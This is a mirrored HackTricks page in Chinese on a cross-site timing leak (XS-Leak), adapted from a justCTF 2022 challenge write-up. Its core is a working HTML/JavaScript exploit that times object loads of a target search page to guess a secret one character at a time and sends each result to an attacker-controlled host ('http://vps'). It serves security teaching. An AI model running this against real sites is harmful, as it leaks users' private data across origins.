mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 18:40:54 +00:00
5.2 KiB
5.2 KiB
performance.now + 强制重任务
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗? 想要在HackTricks中看到您的公司广告? 或者想要访问PEASS的最新版本或下载PDF格式的HackTricks? 请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入 💬 Discord群组 或 电报群组 或在Twitter上关注我 🐦@carlospolopm.
- 通过向 hacktricks repo 和 hacktricks-cloud repo 提交PR来分享您的黑客技巧。
利用来源:https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
在这个挑战中,用户可以发送数千个字符,如果包含标志,则字符将被发送回给机器人。 因此,通过发送大量字符,攻击者可以测量发送的字符串中是否包含标志。
{% hint style="warning" %} 最初,我没有设置对象的宽度和高度,但后来发现这很重要,因为默认大小太小,无法在加载时间上产生差异。 {% endhint %}
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')
function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}
function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})
}
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'
async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}
found /= 3
notFound /= 3
send('found flag:'+found)
send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)
if (notFound > found) {
return
}
// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}
main()
</script>
</body>
</html>
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在网络安全公司工作吗?想要看到你的公司在HackTricks中被宣传吗?或者想要访问PEASS的最新版本或下载HackTricks的PDF吗?查看订阅计划!
- 探索我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS & HackTricks周边
- 加入 💬 Discord群](https://discord.gg/hRep4RUj7f) 或 电报群](https://t.me/peass) 或 在Twitter上关注我 🐦@carlospolopm.
- 通过向 hacktricks repo 和 hacktricks-cloud repo 提交PR来分享你的黑客技巧。